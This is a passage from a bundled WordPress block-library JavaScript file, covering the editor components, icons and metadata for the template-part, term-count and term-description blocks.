54185 content: (0,external_wp_blocks_namespaceObject.serialize)(pattern.blocks)
54186 }
54187 );
54188 createSuccessNotice(
54189 (0,external_wp_i18n_namespaceObject.sprintf)(
54190 /* translators: %s: template part title. */
54191 (0,external_wp_i18n_namespaceObject.__)('Template Part "%s" updated.'),
54192 title || slug
54193 ),
54194 {
54195 type: "snackbar"
54196 }
54197 );
54198 };
54199 if (!hasInnerBlocks && (slug && !theme || slug && isMissing)) {
54200 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.sprintf)(
54201 /* translators: %s: Template part slug. */
54202 (0,external_wp_i18n_namespaceObject.__)(
54203 "Template part has been deleted or is unavailable: %s"
54204 ),
54205 slug
54206 ) }) });
54207 }
54208 if (isEntityAvailable && hasAlreadyRendered) {
54209 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Block cannot be rendered inside itself.") }) });
54210 }
54211 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54212 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.RecursionProvider, { uniqueId: templatePartId, children: [
54213 isEntityAvailable && onNavigateToEntityRecord && canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54214 external_wp_components_namespaceObject.ToolbarButton,
54215 {
54216 onClick: () => onNavigateToEntityRecord({
54217 postId: templatePartId,
54218 postType: "wp_template_part"
54219 }),
54220 children: (0,external_wp_i18n_namespaceObject.__)("Edit")
54221 }
54222 ) }),
54223 canUserEdit && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54224 TemplatePartAdvancedControls,
54225 {
54226 tagName,
54227 setAttributes,
54228 isEntityAvailable,
54229 templatePartId,
54230 defaultWrapper: areaObject.tagName,
54231 hasInnerBlocks,
54232 clientId
54233 }
54234 ) }),
54235 isPlaceholder && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54236 TemplatePartPlaceholder,
54237 {
54238 area: attributes.area,
54239 templatePartId,
54240 clientId,
54241 setAttributes,
54242 onOpenSelectionModal: () => setIsTemplatePartSelectionOpen(true)
54243 }
54244 ) }),
54245 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, { children: ({ selectedClientIds }) => {
54246 if (!(selectedClientIds.length === 1 && clientId === selectedClientIds[0])) {
54247 return null;
54248 }
54249 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54250 ReplaceButton,
54251 {
54252 ...{
54253 isEntityAvailable,
54254 area,
54255 clientId,
54256 templatePartId,
54257 isTemplatePartSelectionOpen,
54258 setIsTemplatePartSelectionOpen
54259 }
54260 }
54261 );
54262 } }),
54263 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54264 TemplatesList,
54265 {
54266 area,
54267 clientId,
54268 isEntityAvailable,
54269 onSelect: (pattern) => onPatternSelect(pattern)
54270 }
54271 ) }),
54272 isEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54273 TemplatePartInnerBlocks,
54274 {
54275 tagName: TagName,
54276 blockProps,
54277 postId: templatePartId,
54278 hasInnerBlocks,
54279 layout
54280 }
54281 ),
54282 !isPlaceholder && !isResolved && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
54283 ] }),
54284 isTemplatePartSelectionOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54285 external_wp_components_namespaceObject.Modal,
54286 {
54287 overlayClassName: "block-editor-template-part__selection-modal",
54288 title: (0,external_wp_i18n_namespaceObject.sprintf)(
54289 // Translators: %s as template part area title ("Header", "Footer", etc.).
54290 (0,external_wp_i18n_namespaceObject.__)("Choose a %s"),
54291 areaObject.label.toLowerCase()
54292 ),
54293 onRequestClose: () => setIsTemplatePartSelectionOpen(false),
54294 isFullScreen: true,
54295 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54296 TemplatePartSelectionModal,
54297 {
54298 templatePartId,
54299 clientId,
54300 area,
54301 setAttributes,
54302 onClose: () => setIsTemplatePartSelectionOpen(false)
54303 }
54304 )
54305 }
54306 )
54307 ] });
54308}
54309
54310
54311;// ./node_modules/@wordpress/block-library/build-module/template-part/variations.js
54312
54313
54314
54315function enhanceTemplatePartVariations(settings, name) {
54316 if (name !== "core/template-part") {
54317 return settings;
54318 }
54319 if (settings.variations) {
54320 const isActive = (blockAttributes, variationAttributes) => {
54321 const { area, theme, slug } = blockAttributes;
54322 if (area) {
54323 return area === variationAttributes.area;
54324 }
54325 if (!slug) {
54326 return false;
54327 }
54328 const { getCurrentTheme, getEntityRecord } = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store);
54329 const entity = getEntityRecord(
54330 "postType",
54331 "wp_template_part",
54332 `${theme || getCurrentTheme()?.stylesheet}//${slug}`
54333 );
54334 if (entity?.slug) {
54335 return entity.slug === variationAttributes.slug;
54336 }
54337 return entity?.area === variationAttributes.area;
54338 };
54339 const variations = settings.variations.map((variation) => {
54340 return {
54341 ...variation,
54342 ...!variation.isActive && { isActive },
54343 ...typeof variation.icon === "string" && {
54344 icon: getTemplatePartIcon(variation.icon)
54345 }
54346 };
54347 });
54348 return {
54349 ...settings,
54350 variations
54351 };
54352 }
54353 return settings;
54354}
54355
54356
54357;// ./node_modules/@wordpress/block-library/build-module/template-part/index.js
54358
54359
54360
54361
54362
54363
54364
54365
54366
54367
54368const { name: template_part_name } = template_part_block_namespaceObject;
54369const template_part_settings = {
54370 icon: symbol_filled_default,
54371 __experimentalLabel: ({ slug, theme }) => {
54372 if (!slug) {
54373 return;
54374 }
54375 const { getCurrentTheme, getEditedEntityRecord } = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store);
54376 const entity = getEditedEntityRecord(
54377 "postType",
54378 "wp_template_part",
54379 (theme || getCurrentTheme()?.stylesheet) + "//" + slug
54380 );
54381 if (!entity) {
54382 return;
54383 }
54384 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(entity.title) || capitalCase(entity.slug || "");
54385 },
54386 edit: TemplatePartEdit
54387};
54388const template_part_init = () => {
54389 (0,external_wp_hooks_namespaceObject.addFilter)(
54390 "blocks.registerBlockType",
54391 "core/template-part",
54392 enhanceTemplatePartVariations
54393 );
54394 const DISALLOWED_PARENTS = ["core/post-template", "core/post-content"];
54395 (0,external_wp_hooks_namespaceObject.addFilter)(
54396 "blockEditor.__unstableCanInsertBlockType",
54397 "core/block-library/removeTemplatePartsFromPostTemplates",
54398 (canInsert, blockType, rootClientId, { getBlock, getBlockParentsByBlockName }) => {
54399 if (blockType.name !== "core/template-part") {
54400 return canInsert;
54401 }
54402 for (const disallowedParentType of DISALLOWED_PARENTS) {
54403 const hasDisallowedParent = getBlock(rootClientId)?.name === disallowedParentType || getBlockParentsByBlockName(
54404 rootClientId,
54405 disallowedParentType
54406 ).length;
54407 if (hasDisallowedParent) {
54408 return false;
54409 }
54410 }
54411 return true;
54412 }
54413 );
54414 return initBlock({ name: template_part_name, metadata: template_part_block_namespaceObject, settings: template_part_settings });
54415};
54416
54417
54418;// ./node_modules/@wordpress/icons/build-module/library/term-count.js
54419
54420
54421var term_count_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
54422 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M 12.841306,16.677917 12.001264,12.71529 Q 11.835801,11.930402 11.695793,11.417042 11.560029,10.89944 11.398809,10.568514 11.237588,10.237588 11,10 10.635133,9.6351329 10.219354,9.6351329 9.8078183,9.6308902 9.4387086,10 8.9932313,10.445477 8.8574668,11.022476 8.7259449,11.595233 8.7259449,12.155262 L 7.4955791,11.196425 Q 7.5719467,10.509117 7.8307477,9.9109045 8.0937915,9.3084495 8.6410921,8.7611489 9.1799075,8.2223335 9.7569066,8.086569 q 0.5812414,-0.1400071 1.1242994,0.046669 0.543058,0.1866762 0.975808,0.6194255 0.335168,0.3351686 0.581242,0.767918 0.24183,0.4285067 0.436992,1.0564174 0.195161,0.619426 0.381837,1.527351 l 0.364867,1.756453 1.883733,-1.883732 1.018234,1.018233 z" }),
54423 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z" })
54424] });
54425
54426
54427;// ./node_modules/@wordpress/block-library/build-module/term-count/block.json
54428const term_count_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/term-count","title":"Term Count","category":"theme","description":"Displays the post count of a taxonomy term.","textdomain":"default","usesContext":["termId","taxonomy"],"attributes":{"bracketType":{"type":"string","enum":["none","round","square","curly","angle"],"default":"round"}},"supports":{"html":false,"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"color":true,"width":true,"style":true}}},"style":"wp-block-term-count"}');
54429;// ./node_modules/@wordpress/block-library/build-module/term-count/icons.js
54430
54431
54432const bareNumber = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 10 6 L 9.609375 9 L 7 9 L 7 10.5 L 9.4121094 10.5 L 9.0878906 13 L 7 13 L 7 14.5 L 8.890625 14.5 L 8.5 17.5 L 10 17.5 L 10.390625 14.5 L 12.890625 14.5 L 12.5 17.5 L 14 17.5 L 14.390625 14.5 L 17 14.5 L 17 13 L 14.587891 13 L 14.912109 10.5 L 17 10.5 L 17 9 L 15.109375 9 L 15.5 6 L 14 6 L 13.609375 9 L 11.109375 9 L 11.5 6 L 10 6 z M 10.912109 10.5 L 13.412109 10.5 L 13.087891 13 L 10.587891 13 L 10.912109 10.5 z" }) });
54433const numberInParenthesis = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,3 c 0,0 1.5,4.004036 1.5,9 0,4.995964 -1.5,9 -1.5,9 H 20 c 0,0 1.5,-4.004036 1.5,-9 C 21.5,7.004036 20,3 20,3 Z M 5.5,21 C 5.5,21 4,16.995964 4,12 4,7.0040356 5.5,3 5.5,3 H 4 c 0,0 -1.5,4.004036 -1.5,9 0,4.995964 1.5,9 1.5,9 z" }) });
54434const numberInSquareBrackets = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 21.5,21 V 3 H 18 v 1.5 h 2 v 15 H 18 V 21 Z M 2.5,3 V 21 H 6 V 19.5 H 4 V 4.5 H 6 V 3 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z" }) });
54435const numberInCurlyBrackets = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,21 c 1.104567,0 2,-0.895433 2,-2 v -4 c 0,-1.104567 0.895433,-2 2,-2 v -2 c -1.104567,0 -2,-0.895433 -2,-2 V 5 c 0,-1.104567 -0.895433,-2 -2,-2 H 17 v 1.5 h 1.5 A 0.5,0.5 0 0 1 19,5 v 5 c 0,1.104567 0.895433,2 2,2 -1.104567,0 -2,0.895433 -2,2 v 5 c 0,0.276142 -0.223858,0.5 -0.5,0.5 H 17 V 21 Z M 5.5,3 c -1.1045668,0 -2,0.8954327 -2,2 v 4 c 0,1.104567 -0.8954332,2 -2,2 v 2 c 1.1045668,0 2,0.895433 2,2 v 4 c 0,1.104567 0.8954332,2 2,2 H 7 V 19.5 H 5.5 A 0.5,0.5 0 0 1 5,19 V 14 C 5,12.895433 4.1045668,12 3,12 4.1045668,12 5,11.104567 5,10 V 5 C 5,4.7238579 5.2238579,4.5 5.5,4.5 H 7 V 3 Z" }) });
54436const numberInAngleBrackets = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 18.970703,16.53125 23.5,12 18.970703,7.46875 17.910156,8.53125 21.378906,12 17.910156,15.46875 Z M 5.0292969,7.46875 0.5,12 5.0292969,16.53125 6.0898438,15.46875 2.6210938,12 6.0898438,8.53125 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z" }) });
54437
54438
54439;// ./node_modules/@wordpress/block-library/build-module/term-count/use-term-count.js
54440
54441
54442function useTermCount(termId, taxonomy) {
54443 const [count] = (0,external_wp_coreData_namespaceObject.useEntityProp)("taxonomy", taxonomy, "count", termId);
54444 const templateBasedData = useTemplateBasedTermData();
54445 const hasContext = Boolean(termId && taxonomy);
54446 return {
54447 hasContext,
54448 termCount: hasContext ? count || "" : templateBasedData
54449 };
54450}
54451function useTemplateBasedTermData() {
54452 const templateSlug = (0,external_wp_data_namespaceObject.useSelect)((select) => {
54453 const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select("core/editor");
54454 const currentPostType = getCurrentPostType();
54455 const templateId = getCurrentTemplateId() || (currentPostType === "wp_template" ? getCurrentPostId() : null);
54456 return templateId ? select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
54457 "postType",
54458 "wp_template",
54459 templateId
54460 )?.slug : null;
54461 }, []);
54462 const taxonomyMatches = templateSlug?.match(
54463 /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
54464 );
54465 let taxonomy;
54466 let termSlug;
54467 if (taxonomyMatches) {
54468 if (taxonomyMatches[1]) {
54469 taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
54470 } else if (taxonomyMatches[3]) {
54471 taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
54472 termSlug = taxonomyMatches[7];
54473 }
54474 taxonomy = taxonomy === "tag" ? "post_tag" : taxonomy;
54475 }
54476 return (0,external_wp_data_namespaceObject.useSelect)(
54477 (select) => {
54478 if (!taxonomy || !termSlug) {
54479 return "";
54480 }
54481 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
54482 const termRecords = getEntityRecords("taxonomy", taxonomy, {
54483 slug: termSlug,
54484 per_page: 1
54485 });
54486 if (termRecords && termRecords[0]) {
54487 return termRecords[0].count || "";
54488 }
54489 return "";
54490 },
54491 [taxonomy, termSlug]
54492 );
54493}
54494
54495
54496;// ./node_modules/@wordpress/block-library/build-module/term-count/edit.js
54497
54498
54499
54500
54501
54502
54503const BRACKET_TYPES = {
54504 none: { label: (0,external_wp_i18n_namespaceObject.__)("No brackets"), icon: bareNumber },
54505 round: {
54506 label: (0,external_wp_i18n_namespaceObject.__)("Round brackets"),
54507 icon: numberInParenthesis,
54508 before: "(",
54509 after: ")"
54510 },
54511 square: {
54512 label: (0,external_wp_i18n_namespaceObject.__)("Square brackets"),
54513 icon: numberInSquareBrackets,
54514 before: "[",
54515 after: "]"
54516 },
54517 curly: {
54518 label: (0,external_wp_i18n_namespaceObject.__)("Curly brackets"),
54519 icon: numberInCurlyBrackets,
54520 before: "{",
54521 after: "}"
54522 },
54523 angle: {
54524 label: (0,external_wp_i18n_namespaceObject.__)("Angle brackets"),
54525 icon: numberInAngleBrackets,
54526 before: "<",
54527 after: ">"
54528 }
54529};
54530function TermCountEdit({
54531 attributes,
54532 setAttributes,
54533 context: { termId, taxonomy }
54534}) {
54535 const { bracketType } = attributes;
54536 const term = useTermCount(termId, taxonomy);
54537 const termCount = term?.termCount || 0;
54538 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
54539 const bracketTypeControls = Object.entries(BRACKET_TYPES).map(
54540 ([type, { label, icon }]) => ({
54541 role: "menuitemradio",
54542 title: label,
54543 isActive: bracketType === type,
54544 icon,
54545 onClick: () => {
54546 setAttributes({ bracketType: type });
54547 }
54548 })
54549 );
54550 const formatTermCount = (count, type) => {
54551 const { before = "", after = "" } = BRACKET_TYPES[type] || {};
54552 return `${before}${count}${after}`;
54553 };
54554 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54555 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54556 external_wp_components_namespaceObject.ToolbarDropdownMenu,
54557 {
54558 icon: BRACKET_TYPES[bracketType]?.icon ?? bareNumber,
54559 label: (0,external_wp_i18n_namespaceObject.__)("Change bracket type"),
54560 controls: bracketTypeControls
54561 }
54562 ) }),
54563 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: formatTermCount(termCount, bracketType) })
54564 ] });
54565}
54566
54567
54568;// ./node_modules/@wordpress/block-library/build-module/term-count/index.js
54569
54570
54571
54572
54573const { name: term_count_name } = term_count_block_namespaceObject;
54574const term_count_settings = {
54575 icon: term_count_default,
54576 edit: TermCountEdit
54577};
54578const term_count_init = () => initBlock({ name: term_count_name, metadata: term_count_block_namespaceObject, settings: term_count_settings });
54579
54580
54581;// ./node_modules/@wordpress/icons/build-module/library/term-description.js
54582
54583
54584var term_description_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.08 10.103h2.914L9.657 12h1.417L8.23 4H6.846L4 12h1.417l.663-1.897Zm1.463-4.137.994 2.857h-2l1.006-2.857ZM11 16H4v-1.5h7V16Zm1 0h8v-1.5h-8V16Zm-4 4H4v-1.5h4V20Zm7-1.5V20H9v-1.5h6Z" }) });
54585
54586
54587;// ./node_modules/@wordpress/block-library/build-module/term-description/block.json
54588const term_description_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/term-description","title":"Term Description","category":"theme","description":"Display the description of categories, tags and custom taxonomies when viewing an archive.","textdomain":"default","usesContext":["termId","taxonomy"],"attributes":{"textAlign":{"type":"string"}},"supports":{"align":["wide","full"],"html":false,"color":{"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"padding":true,"margin":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}}}');
54589;// ./node_modules/@wordpress/block-library/build-module/term-description/use-term-description.js
54590
54591
54592function useTermDescription(termId, taxonomy) {
54593 const [description, setDescription, fullDescription] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
54594 "taxonomy",
54595 taxonomy,
54596 "description",
54597 termId
54598 );
54599 const templateBasedData = use_term_description_useTemplateBasedTermData();
54600 const hasContext = Boolean(termId && taxonomy);
54601 return {
54602 hasContext,
54603 setDescription,
54604 termDescription: hasContext ? fullDescription?.rendered || description || "" : templateBasedData
54605 };
54606}
54607function use_term_description_useTemplateBasedTermData() {
54608 const templateSlug = (0,external_wp_data_namespaceObject.useSelect)((select) => {
54609 const { getCurrentPostId, getCurrentPostType, getCurrentTemplateId } = select("core/editor");
54610 const currentPostType = getCurrentPostType();
54611 const templateId = getCurrentTemplateId() || (currentPostType === "wp_template" ? getCurrentPostId() : null);
54612 return templateId ? select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
54613 "postType",
54614 "wp_template",
54615 templateId
54616 )?.slug : null;
54617 }, []);
54618 const taxonomyMatches = templateSlug?.match(
54619 /^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/
54620 );
54621 let taxonomy;
54622 let termSlug;
54623 if (taxonomyMatches) {
54624 if (taxonomyMatches[1]) {
54625 taxonomy = taxonomyMatches[2] ? taxonomyMatches[2] : taxonomyMatches[1];
54626 } else if (taxonomyMatches[3]) {
54627 taxonomy = taxonomyMatches[6] ? taxonomyMatches[6] : taxonomyMatches[4];
54628 termSlug = taxonomyMatches[7];
54629 }
54630 taxonomy = taxonomy === "tag" ? "post_tag" : taxonomy;
54631 }
54632 return (0,external_wp_data_namespaceObject.useSelect)(
54633 (select) => {
54634 if (!taxonomy || !termSlug) {
54635 return "";
54636 }
54637 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
54638 const termRecords = getEntityRecords("taxonomy", taxonomy, {
54639 slug: termSlug,
54640 per_page: 1
54641 });
54642 if (termRecords && termRecords[0]) {
54643 return termRecords[0].description || "";
54644 }
54645 return "";
54646 },
54647 [taxonomy, termSlug]
54648 );
54649}
54650
54651
54652;// ./node_modules/@wordpress/block-library/build-module/term-description/edit.js
54653
54654
54655
54656
54657
54658function TermDescriptionEdit({
54659 attributes,
54660 setAttributes,
54661 mergedStyle,
54662 context: { termId, taxonomy }
54663}) {
54664 const { textAlign } = attributes;
54665 const { termDescription } = useTermDescription(termId, taxonomy);
54666 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
54667 className: dist_clsx({
54668 [`has-text-align-${textAlign}`]: textAlign
54669 }),
54670 style: mergedStyle
54671 });
54672 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54673 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54674 external_wp_blockEditor_namespaceObject.AlignmentControl,
54675 {
54676 value: textAlign,
54677 onChange: (nextAlign) => {
54678 setAttributes({ textAlign: nextAlign });
54679 }
54680 }
54681 ) }),
54682 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: termDescription ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54683 "div",
54684 {
54685 dangerouslySetInnerHTML: { __html: termDescription }
54686 }
54687 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-term-description__placeholder", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: (0,external_wp_i18n_namespaceObject.__)("Term Description") }) }) })
54688 ] });
54689}
54690
54691
54692;// ./node_modules/@wordpress/block-library/build-module/term-description/index.js
54693
54694
54695
54696
54697const { name: term_description_name } = term_description_block_namespaceObject;
54698const term_description_settings = {
54699 icon: term_description_default,
54700 edit: TermDescriptionEdit,
54701 example: {}
54702};
54703const term_description_init = () => initBlock({ name: term_description_name, metadata: term_description_block_namespaceObject, settings: term_description_settings });
54704
54705
54706;// ./node_modules/@wordpress/icons/build-module/library/term-name.js
54707
54708
54709var term_name_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
54710 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m14.95 13.889-1.061 1.061-5.552-5.553 1.06-1.06 5.552 5.552Z" }),
54711 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z" })
54712] });
54713
54714
54715;// ./node_modules/@wordpress/block-library/build-module/term-name/block.json
